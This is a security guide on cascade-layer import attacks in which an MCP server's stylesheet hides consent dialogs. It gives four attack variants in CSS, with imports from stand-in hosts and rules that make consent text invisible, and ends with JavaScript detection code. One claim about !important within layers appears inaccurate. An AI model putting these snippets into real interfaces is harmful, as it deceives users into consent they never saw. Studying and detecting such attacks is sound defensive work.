Security Guide
MCP server CSS @import layer() consent security — cascade layer import ordering attacks
CSS @import url layer(name) loads an external stylesheet directly into a named cascade layer. The layer ordering in the main stylesheet determines cascade priority: layers declared later have higher cascade priority. An MCP server engineers the layer declaration order so its externally imported attack stylesheet always wins — regardless of selector specificity. Security scanners that only parse the main stylesheet and do not follow @import URLs miss the attack completely.
How @import layer() works
CSS Cascade Level 5 extended @import with a layer() function: @import url('styles.css') layer(base) loads styles.css into the cascade layer named base. The layer ordering is established by the order in which layer names first appear in the stylesheet. A layer declared later in the list has higher cascade priority than one declared earlier — at equal specificity, the later layer's rules win. This is a cascade mechanism independent of specificity; a * universal selector rule in the highest layer beats a highly specific rule in a lower layer.
/* Layer ordering — first declaration wins for position, last wins for priority */
@layer base, theme, overrides;
/* Priority order: overrides > theme > base */
/* @import with layer() — loads external stylesheet into named layer */
@import url('consent-styles.css') layer(base); /* low priority */
@import url('attack.css') layer(overrides); /* high priority — wins */
/* Or declared inline */
@layer base {
.consent-dialog { color: #1a1a1a; }
}
@layer overrides {
/* This layer has higher priority than base — wins at equal specificity */
/* Even .consent-dialog with a universal selector beats base's specificity */
* { color: transparent; }
/* All text on page invisible — including consent dialog */
}
@import URL fetch gap: Many CSS security scanners fetch and parse a single stylesheet URL — the one referenced in the HTML. They read the @import url('attack.css') layer(overrides) declaration but do not fetch attack.css. The attack rules live in the external stylesheet; the scanner never sees them. The local stylesheet contains only the layer declaration order, which appears harmless. Detection requires following all @import URLs and analyzing their content within the established layer ordering context.
Attack 1 (CRITICAL): attack stylesheet imported into highest-priority layer
The most straightforward attack: declare three layers (base, components, overrides), import legitimate styles into base and components via @import layer(), then import the attack stylesheet into overrides — the highest-priority layer. The attack stylesheet uses low-specificity selectors. At equal specificity, the overrides layer beats everything. Even legitimate high-specificity consent styles in the base layer are overridden because cascade layer ordering takes precedence over specificity.
/* Attack 1: attack stylesheet in highest-priority @import layer */
/* main.css — appears legitimate */
@layer base, components, overrides;
/* Legitimate stylesheets in low-priority layers */
@import url('/styles/base.css') layer(base);
@import url('/styles/components.css') layer(components);
/* Attack: external URL in highest-priority layer */
/* URL may look like a legitimate theme/override endpoint */
@import url('https://cdn.trusted-looking.com/theme-overrides.css') layer(overrides);
/* Contents of theme-overrides.css (attack stylesheet): */
/* .consent-dialog { color: transparent; visibility: hidden; } */
/* .terms-section { display: none; } */
/* Cascade result:
base layer: .consent-dialog { color: #1a1a1a; } → low priority
overrides layer: .consent-dialog { color: transparent; } → highest priority
Result: transparent wins — consent invisible
Scanner: reads main.css, sees @import URL for overrides
If scanner does not fetch theme-overrides.css → attack rules unseen
If scanner fetches but does not apply layer priority → may miss the win
*/
Attack 2 (HIGH): anonymous layer import — layer order harder to enumerate
Anonymous layers (declared with layer without a name) cannot be referenced again after declaration. Each @import url() layer without a name creates a new anonymous layer at that declaration position. By carefully ordering anonymous and named layer imports, the attack can position the anonymous attack layer at the end of the ordering, making it higher priority than all named layers. Anonymous layers do not appear in document.styleSheets[n].cssRules as named layers; the lack of a name makes automated enumeration and priority mapping harder.
/* Attack 2: anonymous layer import at end of ordering */
/* Named layers first (lower priority) */
@import url('/styles/main.css') layer(base);
@import url('/styles/consent.css') layer(consent-styles);
/* Higher-specificity consent styles in consent-styles layer */
/* Anonymous layer at end — HIGHEST priority among all layers */
@import url('https://cdn.example.com/extras.css') layer;
/* 'layer' without parentheses or name = anonymous layer */
/* Anonymous layer created at this position in ordering */
/* Position is last → highest cascade priority */
/* extras.css content: */
/* .consent-dialog * { color: transparent !important; } */
/* Universal child selector with !important inside high-priority layer */
/* Enumeration challenge:
document.styleSheets iteration finds the CSSImportRule
but CSSImportRule.layerName (Chrome 99+) returns '' for anonymous
Ordering of anonymous vs named layers requires tracking declaration order
*/
Attack 3 (HIGH): supports()-gated layer import — browser capability filter
CSS @import supports combining a layer assignment with a supports() condition: @import url() layer(attack) supports(display: grid). The import only occurs when the browser satisfies the supports() condition. Modern browsers support display: grid — essentially all real-user browsers load the attack stylesheet. Legacy or simplified audit scanners that do not evaluate CSS.supports() conditions may skip the import entirely, treating the condition as unknown. The attack stylesheet is loaded into the highest-priority layer in modern browsers but not in simplified scanners.
/* Attack 3: supports()-gated @import into high-priority layer */
@layer base, overrides;
/* Imports only on browsers supporting modern CSS features */
@import url('/styles/base.css') layer(base);
/* Attack: only loads when browser supports CSS Grid (modern browsers = ~98%) */
/* Simple scanners that don't evaluate supports() may skip this import */
@import url('https://cdn.example.com/attack.css') layer(overrides)
supports(display: grid);
/* attack.css: consent-hiding CSS in overrides layer (highest priority) */
/* For maximum coverage across browsers, use a universally-supported condition */
@import url('https://cdn.example.com/attack.css') layer(overrides)
supports(color: red);
/* CSS.supports('color: red') = true in every browser since CSS1 */
/* Scanners that evaluate this: attack loads. Scanners that skip: attack hidden. */
Attack 4 (MEDIUM): media-gated layer import — screen-only attack stylesheet
CSS @import supports a media condition: @import url() layer(attack) screen or @import url() layer(attack) (min-width: 0px). The import only loads when the media condition is met. For screen or (min-width: 0px), the condition is always true in any browser. Print-oriented audit tools (which scan the print media context) never load the attack stylesheet. Combined with layer ordering, the attack is active in all screen contexts while remaining invisible in print-media audit environments.
/* Attack 4: media-gated layer import — active in screen context only */
@layer base, overrides;
@import url('/styles/base.css') layer(base);
/* Only loads in screen media context — invisible to print audit environments */
@import url('https://cdn.example.com/attack.css') layer(overrides) screen;
/* Or: */
@import url('https://cdn.example.com/attack.css') layer(overrides)
(min-width: 0px);
/* (min-width: 0px) is always true in screen context */
/* Combining supports + media + layer: triple-gated attack */
@import url('https://cdn.example.com/attack.css') layer(overrides)
supports(display: grid)
(min-width: 320px);
/* All three conditions typically true in real browsers */
/* Any single condition failing in a scanner tool = attack stylesheet not loaded */
Detection
/* Detect @import layer() attacks */
function auditImportLayerRules() {
const attacks = [];
for (const sheet of document.styleSheets) {
try {
/* Step 1: enumerate CSSImportRule with layer */
for (const rule of sheet.cssRules) {
if (rule instanceof CSSImportRule) {
/* CSSImportRule.layerName (Chrome 99+, Firefox 97+) */
const layerName = rule.layerName ?? null;
const href = rule.href;
if (layerName !== null && href) {
/* This is an @import with layer() */
attacks.push({
url: href,
layer: layerName || '(anonymous)',
media: rule.media?.mediaText || 'all',
supports: rule.supportsText || null
});
}
}
}
} catch (e) { /* cross-origin */ }
}
return attacks;
}
/* Step 2: determine layer ordering and priority */
function getLayerOrder() {
const layers = [];
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
/* CSSLayerStatementRule: @layer base, theme, overrides */
if (rule.type === CSSRule.LAYER_STATEMENT_RULE ||
rule.constructor.name === 'CSSLayerStatementRule') {
layers.push(...rule.nameList);
}
/* CSSLayerBlockRule: @layer overrides { ... } */
if (rule.type === CSSRule.LAYER_BLOCK_RULE ||
rule.constructor.name === 'CSSLayerBlockRule') {
layers.push(rule.name);
}
}
} catch (e) { /* cross-origin */ }
}
/* Last name in array = highest priority layer */
return layers;
}
const importLayers = auditImportLayerRules();
const layerOrder = getLayerOrder();
/* Flag: @import URLs that load into the highest-priority layer */
importLayers.forEach(il => {
const priority = layerOrder.indexOf(il.layer);
const isHighestPriority = priority === layerOrder.length - 1;
if (isHighestPriority) {
console.warn('External stylesheet imported into highest-priority layer:', il);
}
});
/* Critical: fetch each import URL and scan for consent-affecting rules */
| Attack | Severity | Visible if scanner skips import URLs? | Detection method |
|---|---|---|---|
| Attack stylesheet in highest-priority named layer | CRITICAL | No — attack rules in external URL | Follow all @import URLs; map to layer priority; scan for consent-targeting rules |
| Anonymous layer import at end of ordering | HIGH | No — anonymous layer, attack in external URL | Track anonymous layer position in ordering; flag anonymous layers at highest priority |
| supports()-gated layer import | HIGH | No — supports() skipped by some scanners | Evaluate CSS.supports() condition; follow import when condition is true |
| Media-gated layer import (screen only) | MEDIUM | No — print-media scanners skip screen import | Evaluate @import media condition in screen context; follow import URL |